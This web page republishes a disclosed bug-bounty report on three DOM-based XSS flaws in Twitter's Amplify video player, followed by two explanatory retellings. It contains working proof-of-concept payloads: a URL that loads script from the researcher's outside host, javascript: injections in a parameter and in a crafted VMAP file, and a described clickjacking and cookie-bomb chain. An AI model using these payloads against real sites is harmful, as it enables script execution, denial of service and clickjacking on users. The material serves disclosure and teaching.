Skip to content
XSS Disclosed report Intermediate

Multiple DOMXSS on Amplify Web Player

The Amplify Web Player had multiple DOM-based cross-site scripting flaws: unsafe jQuery AJAX loading, unvalidated player URL, and unvalidated call-to-action link. An attacker could execute script in the player's origin, leading to cookie bombing or clickjacking.

File Descriptor Follow

Originally disclosed on HackerOne

  • Triaged in 34 hours
  • Fixed in 11 days
  • Paid in 5 days
  • Disclosed after 19 months

Hi, I would like to report multiple DOMXSS issues on https://amp.twimg.com/amplify-web-player/prod/source.html.

##Details:

Please use latest IE to open all the PoCs because of CSP

##1. $.get sink

JavaScript
define("data/playlist/with_json_loader", ["require", "flight/lib/compose", "data/playlist/with_json_parser"], function(e) {
    function r() {
        t.mixin(this, [n]),
        this.loadJson = function(e) {
            return $.get(e).then(this.parseJson.bind(this))
-----------------------^^

It is dangerous to use jQuery's ajax function without specifying the expected data type. Attacker can supply a remote js file to achieve XSS. This can be addressed by specifying the data type to be JSON. Ref.

PoC: https://amp.twimg.com/amplify-web-player/prod/source.html?url=https://innerht.ml/vectors/js.php After clicking the play button, an alert will be popped up.

##2. Lack of URL validation on playerUrl

JavaScript
define("ui/playback/vine_display", ["require", "flight/lib/component"], function(e) {
    function n() {
        this.attributes({
            playerUrl: undefined
        }),
        this.$frame = undefined,
        this.loadVideo = function() {
            if (!this.attr.playerUrl)
                return;
            this.$frame = $('<iframe id="vine-frame" frameborder="0" scrolling="no" allowtransparency="true"></iframe>'),
            this.$frame.attr("src", this.attr.playerUrl),
-----------------------------------------------^^

When the source type is Vine, the player will try to inject an iframe with user-supplied parameter player_url. Attacker can make it a javascript: attacker vector. Proper fix would be to validate if the URL starts with http(s).

PoC: https://amp.twimg.com/amplify-web-player/prod/source.html?player_url=javascript:alert(1)&source_type=vine After clicking the play button, an alert will be popped up.

##3. Lack of URL validation on ctaLink

JavaScript
        this.updateCallToAction = function(e, t) {
            var i = this.select("textNodeSelector");
            i.html("");
            if (t && t.url && t.type) {
                this.id = t.id,
                this.type = t.type,
                this.ctaLink = t.url;
                var s, o = n.getUrlMetadata(this.ctaLink), u = o.hostname;
                u.indexOf("www.") === 0 && (u = u.substr(4)),
                t.type === "visit" ? s = r("Visit %{hostname}", {
                    hostname: u
                }) : s = r("Watch now at %{hostname}", {
                    hostname: u
                });
                var a = $("<a target='_blank'></a>");
                a.attr("href", this.ctaLink),
--------------------------------------^^

When loading a vmap file, the player will inject an anchor referencing tw:cta_open_url. Attacker can supply a remote vmap file with crafted tw:cta_open_url value (e.g. javascript:) to perform XSS. Such file would be like this:

XML
<?xml version="1.0" encoding="UTF-8"?>

<vmap:VMAP xmlns:tw="http://twitter.com/schema/videoVMapV2.xsd"
           xmlns:vmap="http://www.iab.net/vmap-1.0"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:esi="http://www.edge-delivery.org/esi/1.0"
           xsi:noNamespaceSchemaLocation="vast3.xsd">
  <vmap:Extensions>
    <vmap:Extension>
      <tw:amplify>
        <tw:content ownerId="915643998" contentId="fce6b1eb-b250-437f-9e68-2e9e5813a6d7" stitched="false">

      <tw:cta_open_url url="javascript:alert(1)" />

          <MediaFiles>
            <MediaFile>
              <![CDATA[http://amp.twimg.com/prod/multibr_v_1/video/2015/03/26/16/0f41c544-uploadedvideo-libx264-main-2028k.mp4?9gOtbn78IXQ3XYKMMntL6URZZjLVfwxgCGtkHlrJ1CY%3D]]>
            </MediaFile>
          </MediaFiles>
        </tw:content>
      </tw:amplify>
    </vmap:Extension>
  </vmap:Extensions>
</vmap:VMAP>

I don't have PoC for this one because the vmap file needs to be hosted on a white-listed domain, but it is still a potential attack.

#Impact Now, one may wonder how these XSSes can affect users. There are at least two ways I can think of:

#1. Denial of Service The domain *.twimg.com is used to store various static files all over Twitter. Attacker can use Cookie Bomb attack to effectively make users unable to access them, hence breaking a lot of things when users browser Twitter.

#2. Clickjacking Amplify Web Players usually appear in user's timeline. As they are embedded in iframe, attacker can use XSS to change the player's URL. Combining the flaw of X-Frame-Options: SAMEORIGIN, attacker can conduct a clickjacking attack with some user interactions. This is a bit tricky to explain so I guess you can watch the video demo to get some ideas.

PoC: http://innerht.ml/pocs/twitter-amp-xss/ After clicking the button, a new window will be opened. Wait a few seconds and click the amplify player. After that the opener page will be changed to a Tweet and the original amplify player will become an attacker controlled page which contains clickjacking attack.

Video Demo: https://vimeo.com/139118917 (password: xfo)

The original report as published on HackerOne, by filedescriptor. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target is the Amplify Web Player, served from https://amp.twimg.com/amplify-web-player/prod/source.html. Amplify is the video player Twitter embeds in timelines, and source.html is the page that hosts the player inside an iframe. The page takes configuration from query string parameters: which media to load, what kind of source it is, and where to fetch playlist or ad metadata from. The researcher found three separate DOM-based XSS sinks in that page, all reachable through parameters the page accepts from the URL.

Setup

No account or special role is needed. The only stated precondition is the browser: all PoCs must be opened in the latest Internet Explorer because of the Content Security Policy in place on the page. The researcher notes this explicitly at the top of the report:

Please use latest IE to open all the PoCs because of CSP

The researcher asks for the latest Internet Explorer because of the CSP in place on the page.

Finding it

The researcher looked at the player's JavaScript modules and found three places where attacker-controlled input reaches a dangerous sink without validation. Each is a different sink: a jQuery AJAX call, an iframe src, and an anchor href. The common thread is that the page trusts URL parameters and remote metadata files.

Exploitation

Step 1: $.get sink

The playlist loader fetches a URL with jQuery's $.get and parses the result:

JavaScript
define("data/playlist/with_json_loader", ["require", "flight/lib/compose", "data/playlist/with_json_parser"], function(e) {
    function r() {
        t.mixin(this, [n]),
        this.loadJson = function(e) {
            return $.get(e).then(this.parseJson.bind(this))
-----------------------^^

Because no expected data type is specified, an attacker can supply a remote JavaScript file, which jQuery then loads. The researcher points to the jQuery issue about this behaviour (jquery/jquery#2432) and notes the fix is to specify the data type as JSON.

The PoC passes an attacker-hosted URL as the url parameter:

Text
https://amp.twimg.com/amplify-web-player/prod/source.html?url=https://innerht.ml/vectors/js.php

After clicking the play button, an alert pops up.

Step 2: Lack of URL validation on playerUrl

The Vine display component builds an iframe and sets its src from an attribute called playerUrl:

JavaScript
define("ui/playback/vine_display", ["require", "flight/lib/component"], function(e) {
    function n() {
        this.attributes({
            playerUrl: undefined
        }),
        this.$frame = undefined,
        this.loadVideo = function() {
            if (!this.attr.playerUrl)
                return;
            this.$frame = $('<iframe id="vine-frame" frameborder="0" scrolling="no" allowtransparency="true"></iframe>'),
            this.$frame.attr("src", this.attr.playerUrl),
-----------------------------------------------^^

When the source type is Vine, the user-supplied player_url parameter becomes the iframe src. Nothing checks the scheme, so a javascript: URL is accepted. The researcher suggests validating that the URL starts with http(s).

The PoC sets both the source type and the player URL:

Text
https://amp.twimg.com/amplify-web-player/prod/source.html?player_url=javascript:alert(1)&source_type=vine

After clicking the play button, the iframe is created with the javascript: URL and the alert fires.

Step 3: Lack of URL validation on ctaLink

The call-to-action component takes a URL from metadata and writes it into an anchor's href:

JavaScript
        this.updateCallToAction = function(e, t) {
            var i = this.select("textNodeSelector");
            i.html("");
            if (t && t.url && t.type) {
                this.id = t.id,
                this.type = t.type,
                this.ctaLink = t.url;
                var s, o = n.getUrlMetadata(this.ctaLink), u = o.hostname;
                u.indexOf("www.") === 0 && (u = u.substr(4)),
                t.type === "visit" ? s = r("Visit %{hostname}", {
                    hostname: u
                }) : s = r("Watch now at %{hostname}", {
                    hostname: u
                });
                var a = $("<a target='_blank'></a>");
                a.attr("href", this.ctaLink),
--------------------------------------^^

When the player loads a VMAP file, it reads tw:cta_open_url and injects an anchor pointing at it. The hostname is used to build the visible label; the URL itself is not validated, so a crafted javascript: value could perform XSS. A malicious VMAP file would look like this:

XML
<?xml version="1.0" encoding="UTF-8"?>

<vmap:VMAP xmlns:tw="http://twitter.com/schema/videoVMapV2.xsd"
           xmlns:vmap="http://www.iab.net/vmap-1.0"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:esi="http://www.edge-delivery.org/esi/1.0"
           xsi:noNamespaceSchemaLocation="vast3.xsd">
  <vmap:Extensions>
    <vmap:Extension>
      <tw:amplify>
        <tw:content ownerId="915643998" contentId="fce6b1eb-b250-437f-9e68-2e9e5813a6d7" stitched="false">

      <tw:cta_open_url url="javascript:alert(1)" />

          <MediaFiles>
            <MediaFile>
              <![CDATA[http://amp.twimg.com/prod/multibr_v_1/video/2015/03/26/16/0f41c544-uploadedvideo-libx264-main-2028k.mp4?[redacted]%3D]]>
            </MediaFile>
          </MediaFiles>
        </tw:content>
      </tw:amplify>
    </vmap:Extension>
  </vmap:Extensions>
</vmap:VMAP>

The tw:cta_open_url element carries the javascript: payload. The researcher has no working PoC for this one because the VMAP file must be hosted on a white-listed domain, but treats it as a real potential attack.

Root cause

All three issues are the same class of mistake: data from the URL or from remote metadata is placed into an execution context without a scheme or type check.

  1. $.get is called without a data type, so jQuery's content-type sniffing can turn a response into script.
  2. The Vine iframe src accepts any scheme, including javascript:.
  3. The CTA anchor href accepts any scheme, including javascript:.

The researcher asks for the latest IE because of the CSP on the page. The report does not describe the policy itself.

Impact

The researcher gives two concrete consequences.

  1. Denial of service. *.twimg.com hosts static files used across Twitter. With script execution on that origin, an attacker can run a cookie bomb and make users unable to access those files, breaking a lot of things when they browse Twitter.
  2. Clickjacking. Amplify players appear in timelines inside iframes. With XSS the attacker can change the player's URL, and combined with X-Frame-Options: SAMEORIGIN this enables a clickjacking attack that needs some user interaction. The researcher calls this tricky to explain and points to a video demo.

The clickjacking PoC is at http://innerht.ml/pocs/twitter-amp-xss/. After clicking the button a new window opens; after a few seconds the user clicks the Amplify player, the opener page changes to a Tweet, and the original player becomes an attacker-controlled page containing the clickjacking attack.

Watch the video on Vimeo
From the original on HackerOne

The video demo is hosted at https://vimeo.com/139118917 with the password xfo.

Fix

The report proposes the fixes rather than describing changes that were made:

  1. Specify the expected data type as JSON on the $.get call so jQuery does not evaluate the response as script.
  2. Validate that playerUrl starts with http(s) before assigning it to the iframe src.
  3. Apply the same scheme validation to ctaLink before writing it into the anchor href.

Variants to test

  1. jQuery AJAX sinks. Look for $.get, $.ajax or $.getJSON calls whose URL comes from a parameter and which omit dataType. A positive result is a response from your server being executed as script when the content type is JavaScript.

  2. Iframe src from parameters. Find components that set an iframe src from a query parameter or message. A positive result is a javascript: URL in the parameter producing script execution when the frame loads.

  3. Anchor href from metadata. Inspect ad or CTA metadata handling (VMAP, VAST and similar) for URLs written into href. A positive result is a javascript: value in the metadata producing a clickable script execution.

  4. Cookie bomb on shared static origins. On any origin that hosts static assets for a larger site, check whether script execution there lets you set enough cookies to break asset loading.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

Twitter (now X) used a video player called Amplify to show videos inside people's timelines. The player itself was not a separate website you visited; it was a page loaded inside a small window (an iframe) embedded in the timeline. That page lived at https://amp.twimg.com/amplify-web-player/prod/source.html.

A security researcher looked at the JavaScript code that runs on that page and found three separate ways to make it run code of the attacker's choosing. This kind of bug is called DOM-based XSS. "DOM" is the browser's internal model of the page, and "XSS" stands for cross-site scripting: tricking a site into running someone else's JavaScript as if it were the site's own. Because the code would run on a twimg.com address, it would be treated as coming from Twitter's own infrastructure.

All three bugs share one habit: the page takes values from the address bar (the part of a URL after the ?) or from files it downloads, and uses them without checking what they contain. Think of a receptionist who reads out any name written on a parcel, including a name that is actually an instruction to open the safe.

The target and how the page is configured

The Amplify Web Player is the video player Twitter embeds in timelines. source.html is the page that hosts the player inside an iframe. It reads its settings from the query string: which media to load, what kind of source it is, and where to fetch playlist or ad information from. A query string is the list of name=value pairs after the ? in a URL, the same mechanism a search engine uses for ?q=your+search.

Because those settings come from the URL, anyone who can get a victim to open a crafted link can choose them. That is the entry point for all three findings.

Setup: why Internet Explorer

No account or special role is needed to try any of this. The only stated precondition is the browser: every proof of concept (PoC, a small demonstration that a bug is real) must be opened in the latest Internet Explorer because of the Content Security Policy on the page. The researcher says so at the top of the report:

Please use latest IE to open all the PoCs because of CSP

A Content Security Policy (CSP) is a set of rules a website sends to the browser saying which scripts are allowed to run. It is like a guest list at a door: if your name is not on it, you do not get in. The researcher asks for the latest Internet Explorer because of the CSP on the page. The report does not describe the policy itself.

Finding it

The researcher read the player's JavaScript modules and found three places where input controlled by an attacker reaches a dangerous operation without validation. In security language, the dangerous operation is called a sink, and the untrusted input is called a source. Each finding has a different sink:

  1. A jQuery AJAX call (a request made by JavaScript to fetch data).
  2. An iframe src (the address of the page loaded inside the small window).
  3. An anchor href (the address a link points to).

The common thread is that the page trusts URL parameters and remote metadata files.

Exploitation

Step 1: the $.get sink

The playlist loader fetches a URL with jQuery's $.get and then parses whatever comes back:

JavaScript
define("data/playlist/with_json_loader", ["require", "flight/lib/compose", "data/playlist/with_json_parser"], function(e) {
    function r() {
        t.mixin(this, [n]),
        this.loadJson = function(e) {
            return $.get(e).then(this.parseJson.bind(this))
-----------------------^^

Line by line, in plain words:

  • define("data/playlist/with_json_loader", [...], function(e) { declares a module named data/playlist/with_json_loader and lists the other modules it depends on. A module is just a self-contained piece of code with a name.
  • function r() { starts an internal helper function.
  • t.mixin(this, [n]), copies behaviour from another object into this one. The trailing comma is part of the original code style.
  • this.loadJson = function(e) { defines a method called loadJson that takes one argument, e, which is the address to fetch.
  • return $.get(e).then(this.parseJson.bind(this)) is the important line. $.get(e) asks jQuery to download whatever is at address e. .then(...) says: when the download finishes, pass the result to parseJson. The ^^ marker under the line points at the sink.

jQuery is a widely used JavaScript library that makes tasks like downloading data easier. $.get is its shortcut for an HTTP GET request, the same kind of request a browser makes when you open a page. The problem is that no expected data type is specified. When you do not say what you expect, an attacker can supply a remote JavaScript file, which jQuery then loads. The researcher links to the jQuery issue about this behaviour (jquery/jquery#2432) and notes the fix is to specify the data type as JSON. JSON is a plain data format, like a filled-in form; it cannot execute, so telling jQuery "expect JSON" removes the danger.

The PoC passes an attacker-hosted URL as the url parameter:

Text
https://amp.twimg.com/amplify-web-player/prod/source.html?url=https://innerht.ml/vectors/js.php

This URL loads the real player page but tells it to fetch its playlist from https://innerht.ml/vectors/js.php, a server the researcher controls. After clicking the play button, an alert pops up. An alert is the browser's small pop-up box; it is used in demonstrations because it proves code ran.

Step 2: no URL validation on playerUrl

The Vine display component builds an iframe and sets its src from an attribute called playerUrl:

JavaScript
define("ui/playback/vine_display", ["require", "flight/lib/component"], function(e) {
    function n() {
        this.attributes({
            playerUrl: undefined
        }),
        this.$frame = undefined,
        this.loadVideo = function() {
            if (!this.attr.playerUrl)
                return;
            this.$frame = $('<iframe id="vine-frame" frameborder="0" scrolling="no" allowtransparency="true"></iframe>'),
            this.$frame.attr("src", this.attr.playerUrl),
-----------------------------------------------^^

Line by line:

  • define("ui/playback/vine_display", [...], function(e) { declares the module that handles Vine videos. Vine was a short-video service; here it is one of the source types the player supports.
  • this.attributes({ playerUrl: undefined }), declares a setting called playerUrl, initially empty.
  • this.$frame = undefined, prepares a variable to hold the iframe element.
  • this.loadVideo = function() { defines the method that loads the video.
  • if (!this.attr.playerUrl) return; stops early if no player URL was supplied.
  • this.$frame = $('<iframe ...></iframe>'), creates an iframe element. An iframe is a window inside a page that loads another page.
  • this.$frame.attr("src", this.attr.playerUrl), sets the iframe's src, the address of the page to load, to the supplied value. The ^^ marker points at this line.

When the source type is Vine, the user-supplied player_url parameter becomes the iframe src. Nothing checks the scheme, the part of a URL before the colon such as http:, https: or javascript:. A javascript: URL is not an address at all: it is a command telling the browser to run the text after the colon as script. The researcher suggests validating that the URL starts with http(s).

The PoC sets both the source type and the player URL:

Text
https://amp.twimg.com/amplify-web-player/prod/source.html?player_url=javascript:alert(1)&source_type=vine

Here source_type=vine makes the player use the Vine component, and player_url=javascript:alert(1) supplies the command. After clicking the play button, the iframe is created with the javascript: URL and the alert fires.

Step 3: no URL validation on ctaLink

The call-to-action component takes a URL from metadata and writes it into an anchor's href:

JavaScript
        this.updateCallToAction = function(e, t) {
            var i = this.select("textNodeSelector");
            i.html("");
            if (t && t.url && t.type) {
                this.id = t.id,
                this.type = t.type,
                this.ctaLink = t.url;
                var s, o = n.getUrlMetadata(this.ctaLink), u = o.hostname;
                u.indexOf("www.") === 0 && (u = u.substr(4)),
                t.type === "visit" ? s = r("Visit %{hostname}", {
                    hostname: u
                }) : s = r("Watch now at %{hostname}", {
                    hostname: u
                });
                var a = $("<a target='_blank'></a>");
                a.attr("href", this.ctaLink),
--------------------------------------^^

Line by line:

  • this.updateCallToAction = function(e, t) { defines the method that builds a call-to-action, the clickable prompt such as "Visit example.com" shown with a video.
  • var i = this.select("textNodeSelector"); finds the place on the page where the prompt will appear.
  • i.html(""); clears it first.
  • if (t && t.url && t.type) { only continues if the metadata has both a URL and a type.
  • this.id = t.id, this.type = t.type, this.ctaLink = t.url; stores the metadata values, including the URL in ctaLink.
  • var s, o = n.getUrlMetadata(this.ctaLink), u = o.hostname; extracts the hostname (the site name part of a URL) for display.
  • u.indexOf("www.") === 0 && (u = u.substr(4)), strips a leading www. from that hostname.
  • t.type === "visit" ? s = r("Visit %{hostname}", ...) : s = r("Watch now at %{hostname}", ...); chooses the visible label text.
  • var a = $("<a target='_blank'></a>"); creates a link that opens in a new tab.
  • a.attr("href", this.ctaLink), sets the link's destination to the metadata URL. The ^^ marker points here.

When the player loads a VMAP file, it reads tw:cta_open_url and injects an anchor pointing at it. VMAP is an XML format used to describe where adverts go in a video; XML is a text format for structured data, similar in spirit to HTML. The hostname is used to build the visible label; the URL itself is not validated, so a crafted javascript: value could perform XSS. A malicious VMAP file would look like this:

XML
<?xml version="1.0" encoding="UTF-8"?>

<vmap:VMAP xmlns:tw="http://twitter.com/schema/videoVMapV2.xsd"
           xmlns:vmap="http://www.iab.net/vmap-1.0"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:esi="http://www.edge-delivery.org/esi/1.0"
           xsi:noNamespaceSchemaLocation="vast3.xsd">
  <vmap:Extensions>
    <vmap:Extension>
      <tw:amplify>
        <tw:content ownerId="915643998" contentId="fce6b1eb-b250-437f-9e68-2e9e5813a6d7" stitched="false">

      <tw:cta_open_url url="javascript:alert(1)" />

          <MediaFiles>
            <MediaFile>
              <![CDATA[http://amp.twimg.com/prod/multibr_v_1/video/2015/03/26/16/0f41c544-uploadedvideo-libx264-main-2028k.mp4?[redacted]%3D]]>
            </MediaFile>
          </MediaFiles>
        </tw:content>
      </tw:amplify>
    </vmap:Extension>
  </vmap:Extensions>
</vmap:VMAP>

Line by line:

  • <?xml version="1.0" encoding="UTF-8"?> is the standard opening line of an XML document, stating the version and character encoding.
  • <vmap:VMAP ...> opens the root element and declares several namespaces. A namespace is a way to keep names from different vocabularies from clashing, like surnames for elements. The xmlns:tw line ties the tw: prefix to Twitter's schema, xmlns:vmap ties vmap: to the IAB VMAP standard, and the other two declare further vocabularies.
  • <vmap:Extensions> and <vmap:Extension> open the section where non-standard extras live.
  • <tw:amplify> and <tw:content ownerId="..." contentId="..." stitched="false"> describe the video content in Twitter's own vocabulary.
  • <tw:cta_open_url url="javascript:alert(1)" /> is the payload: the call-to-action URL is set to a javascript: command.
  • <MediaFiles> and <MediaFile> point at the actual video file, wrapped in <![CDATA[...]]>. CDATA tells the XML parser to treat the enclosed text as raw characters rather than markup.
  • The closing tags mirror the opening ones.

The researcher has no working PoC for this one because the VMAP file must be hosted on a white-listed domain, meaning only files from approved servers are accepted. It is still treated as a real potential attack.

Root cause

All three issues are the same class of mistake: data from the URL or from remote metadata is placed into an execution context without a scheme or type check.

  1. $.get is called without a data type, so jQuery's content-type sniffing can turn a response into script.
  2. The Vine iframe src accepts any scheme, including javascript:.
  3. The CTA anchor href accepts any scheme, including javascript:.

The researcher asks for the latest IE because of the CSP on the page.

Impact

The researcher gives two concrete consequences.

  1. Denial of service. *.twimg.com hosts static files used across Twitter. With script execution on that origin, an attacker can run a cookie bomb and make users unable to access those files, breaking a lot of things when they browse Twitter. A cookie is a small piece of data a website asks the browser to store and send back with later requests. A cookie bomb is an attack that sets so many cookies, or such large ones, that the browser refuses to send further requests to that site, so its files stop loading.
  2. Clickjacking. Amplify players appear in timelines inside iframes. With XSS the attacker can change the player's URL, and combined with X-Frame-Options: SAMEORIGIN this enables a clickjacking attack that needs some user interaction. Clickjacking means hiding something the user does not intend to click under something they do want to click, like a transparent sheet over a button. X-Frame-Options: SAMEORIGIN is a response header telling the browser that a page may only be framed by pages from the same site, which shapes how the attack has to be arranged. The researcher calls this tricky to explain and points to a video demo.

The clickjacking PoC is at http://innerht.ml/pocs/twitter-amp-xss/. After clicking the button a new window opens; after a few seconds the user clicks the Amplify player, the opener page changes to a Tweet, and the original player becomes an attacker-controlled page containing the clickjacking attack. The opener is the page that opened the new window.

Watch the video on Vimeo
From the original on HackerOne

The video demo is hosted at https://vimeo.com/139118917 with the password xfo.

Fix

The report proposes the fixes rather than describing changes that were made:

  1. Specify the expected data type as JSON on the $.get call so jQuery does not evaluate the response as script.
  2. Validate that playerUrl starts with http(s) before assigning it to the iframe src.
  3. Apply the same scheme validation to ctaLink before writing it into the anchor href.

Variants to test

  1. jQuery AJAX sinks. Look for $.get, $.ajax or $.getJSON calls whose URL comes from a parameter and which omit dataType. A positive result is a response from your server being executed as script when the content type is JavaScript.

  2. Iframe src from parameters. Find components that set an iframe src from a query parameter or message. A positive result is a javascript: URL in the parameter producing script execution when the frame loads.

  3. Anchor href from metadata. Inspect ad or CTA metadata handling (VMAP, VAST and similar) for URLs written into href. A positive result is a javascript: value in the metadata producing a clickable script execution.

  4. Cookie bomb on shared static origins. On any origin that hosts static assets for a larger site, check whether script execution there lets you set enough cookies to break asset loading.

Glossary

  • AJAX: a technique for a web page to fetch data from a server in the background, without reloading the whole page.
  • Alert: the browser's small pop-up box, often used in demonstrations to prove that code ran.
  • Anchor: an HTML link element, the thing you click to go to another address.
  • Attribute: a named setting on an HTML element, such as src on an iframe or href on a link.
  • Call to action (CTA): a clickable prompt shown with a video, such as "Visit example.com".
  • CDATA: a marker in XML saying the enclosed text is raw characters, not markup.
  • Clickjacking: hiding something the user does not intend to click under something they do want to click.
  • Content Security Policy (CSP): rules a site sends to the browser saying which scripts may run.
  • Cookie: a small piece of data a site asks the browser to store and send back with later requests.
  • Cookie bomb: an attack that sets so many or such large cookies that the browser stops sending requests to a site, breaking its files.
  • Cross-site scripting (XSS): tricking a site into running someone else's JavaScript as if it were the site's own.
  • DOM: the browser's internal model of a page, built from the HTML.
  • DOM-based XSS: XSS where the malicious input is handled by JavaScript in the page itself rather than by the server.
  • Denial of service: making a service or its files unavailable to users.
  • Hostname: the site-name part of a URL, such as example.com.
  • href: the attribute of a link that holds its destination address.
  • HTTP GET: the basic request a browser makes to fetch a page or file.
  • Iframe: a window inside a page that loads another page.
  • JavaScript: the programming language browsers run to make pages interactive.
  • jQuery: a widely used JavaScript library that simplifies tasks such as downloading data and changing the page.
  • JSON: a plain text data format that holds values but cannot execute.
  • Metadata: data about the video, such as where its advert breaks go and what the call-to-action says.
  • Module: a self-contained, named piece of code.
  • Namespace: a way to keep names from different vocabularies from clashing, like surnames for elements.
  • Opener: the page that opened a given window.
  • Origin: the combination of scheme, hostname and port that a browser uses to decide what belongs together.
  • Payload: the malicious value an attacker supplies.
  • Proof of concept (PoC): a small demonstration that a bug is real.
  • Query string: the name=value pairs after the ? in a URL.
  • Scheme: the part of a URL before the colon, such as http:, https: or javascript:.
  • Sink: the dangerous operation where untrusted input ends up.
  • Source: the place untrusted input comes from.
  • src: the attribute of an iframe that holds the address of the page to load.
  • VAST: an XML format for describing video adverts.
  • VMAP: an XML format for describing where adverts go in a video.
  • X-Frame-Options: a response header telling the browser whether and by whom a page may be framed; SAMEORIGIN allows only the same site.
  • XML: a text format for structured data.

More by File Descriptor

View all

20 more disclosed reports, best first.

More from X / xAI

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.